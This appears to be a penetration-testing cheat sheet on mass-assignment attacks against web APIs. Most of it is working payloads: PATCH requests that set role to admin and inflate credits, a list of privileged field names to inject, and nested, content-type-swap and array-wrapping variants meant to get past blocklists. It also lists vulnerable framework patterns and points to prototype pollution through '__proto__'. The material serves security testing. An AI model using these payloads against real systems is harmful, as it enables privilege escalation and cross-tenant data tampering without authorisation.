Mass Assignment
The form shows three fields. The model has thirty. Send the other twenty-seven.
Find the field names
- GET the object first — the response usually lists every field the model has
- Old API versions, mobile clients and the admin UI expose more
- Registration vs profile-update often accept different sets
- JS bundles,
.mapfiles, GraphQL introspection, Swagger / OpenAPI
GET /api/v1/users/me → {"id":1,"email":"[email protected]","role":"user","verified":false,"credits":0}
PATCH /api/v1/users/me → {"email":"[email protected]","role":"admin","verified":true,"credits":99999}The fields worth trying
role roles isAdmin is_admin admin permissions scope group groupId
verified emailVerified is_active approved status state
balance credits price amount discount plan tier subscription
userId user_id owner ownerId tenantId organizationId accountId
id _id uuid createdAt deletedAt
password passwordHash otpEnabled mfaEnabled emailConfirmeduserId / ownerId is the one people miss — it turns creation into cross-tenant write.
Nesting
Blocklists usually only check the top level.
{"user":{"role":"admin"}}
{"profile":{"user":{"role":"admin"}}}
{"data":{"attributes":{"role":"admin"}}}Content type swap
A parser change is often a validator change.
Content-Type: application/json {"role":"admin"}
Content-Type: application/xml <user><role>admin</role></user>
Content-Type: application/x-www-form-urlencoded role=adminArray and object wrapping
{"role":["admin"]}
{"role":{"$set":"admin"}} # NoSQL backendsFramework notes
| Stack | Where it goes wrong |
|---|---|
| Rails | params.permit!, missing strong parameters |
| Laravel | $fillable unset, $guarded = [] |
| Django REST | fields = '__all__' on the serializer |
| Spring | @ModelAttribute without @InitBinder allow-list |
| Express | Object.assign(user, req.body), User.update(req.body) |
| Mongoose | findOneAndUpdate(q, req.body) |
Object.assign(obj, req.body) on a JS backend is also Prototype Pollution — try __proto__ in the same request.
Read the response
The 200 may echo the object back with your value already applied even if the write is later rejected. Re-GET the object to confirm it persisted before reporting.